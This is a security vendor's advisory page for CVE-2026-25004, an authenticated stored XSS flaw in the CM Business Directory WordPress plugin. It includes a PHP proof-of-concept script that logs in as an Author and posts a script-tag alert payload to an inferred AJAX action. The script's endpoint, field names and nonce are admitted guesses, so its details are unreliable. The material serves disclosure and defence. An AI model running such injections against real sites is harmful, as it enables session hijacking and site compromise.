Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25004: CM Business Directory – Optimise and showcase local business <= 1.5.3 – Authenticated (Author+) Stored Cross-Site Scripting (cm-business-directory)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.5.3
Patched Version
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25004 (metadata-based):
The CM Business Directory plugin for WordPress, versions up to and including 1.5.3, contains an authenticated stored cross-site scripting (XSS) vulnerability. Attackers with author-level privileges or higher can inject arbitrary JavaScript into pages managed by the plugin. The injected scripts execute in the context of a victim’s browser when they view the compromised page.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification and the vulnerability description. The plugin likely fails to properly sanitize user-supplied input before storing it in the database and/or fails to escape the output before rendering it in a browser context. This conclusion is based on the CWE and description, as the source code diff is unavailable for confirmation.

Exploitation requires an attacker to possess an authenticated WordPress account with at least the ‘author’ role. The attacker would likely target a business directory submission or management form, such as one for creating or editing a business listing. A payload like `alert(‘Atomic Edge XSS’)` would be submitted in a vulnerable field. The payload would be stored and later executed when any user, including administrators, views the page containing the injected listing.

Remediation requires implementing proper input validation and output escaping. The patched version (1.5.4) likely added calls to WordPress sanitization functions like `sanitize_text_field()` or `wp_kses()` on input, and escaping functions like `esc_html()` or `esc_attr()` on output. A comprehensive fix must ensure all user-controllable data rendered in HTML contexts is properly escaped.

Successful exploitation allows an attacker with author privileges to perform actions within the victim’s browser session. This can lead to session hijacking, defacement of the business directory, or redirection to malicious sites. In a WordPress multisite environment, an author on one site could potentially target users on other sites within the network, aligning with the CVSS scope change (S:C) metric.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25004 - CM Business Directory – Optimise and showcase local business <= 1.5.3 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
/**
 * Proof-of-Concept for CVE-2026-25004.
 * This script simulates an attack by an authenticated Author+ user submitting a business listing with a malicious XSS payload.
 * The exact endpoint and parameter names are inferred from common WordPress plugin patterns.
 * Assumptions:
 * 1. The plugin uses a front-end or admin form for creating/editing business listings.
 * 2. The form submits via POST to a WordPress AJAX handler or a custom admin endpoint.
 * 3. At least one field in the form lacks proper sanitization.
 */

$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE
$username = 'author_user'; // CHANGE THIS TO A VALID AUTHOR USERNAME
$password = 'author_pass'; // CHANGE THIS TO THE USER'S PASSWORD

// Payload to inject. In a real attack, this would be JavaScript to steal cookies or perform actions.
$xss_payload = '<script>alert("Atomic Edge XSS Test")</script>';

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard redirect or absence of login form
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Submit a business listing with XSS payload.
// The exact action and parameters are inferred. Common patterns include AJAX actions like 'cmbd_save_listing' or admin-post actions.
$submit_url = $target_url . '/wp-admin/admin-ajax.php';
$submit_fields = [
    'action' => 'cmbd_save_listing', // Inferred AJAX action based on plugin slug
    'listing_title' => 'Compromised Business',
    'listing_description' => 'Legitimate description. ' . $xss_payload, // XSS in a text field
    // Other required fields would be needed based on the plugin's form structure.
    'nonce' => 'inferred_or_obtained_nonce' // In a real attack, the nonce would be scraped from a form.
];

curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($submit_fields));
$response = curl_exec($ch);

// Check response for success indicators
if (strpos($response, 'success') !== false || strpos($response, 'id') !== false) {
    echo "Payload likely submitted. Check the business directory page for XSS execution.n";
} else {
    echo "Submission may have failed. Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School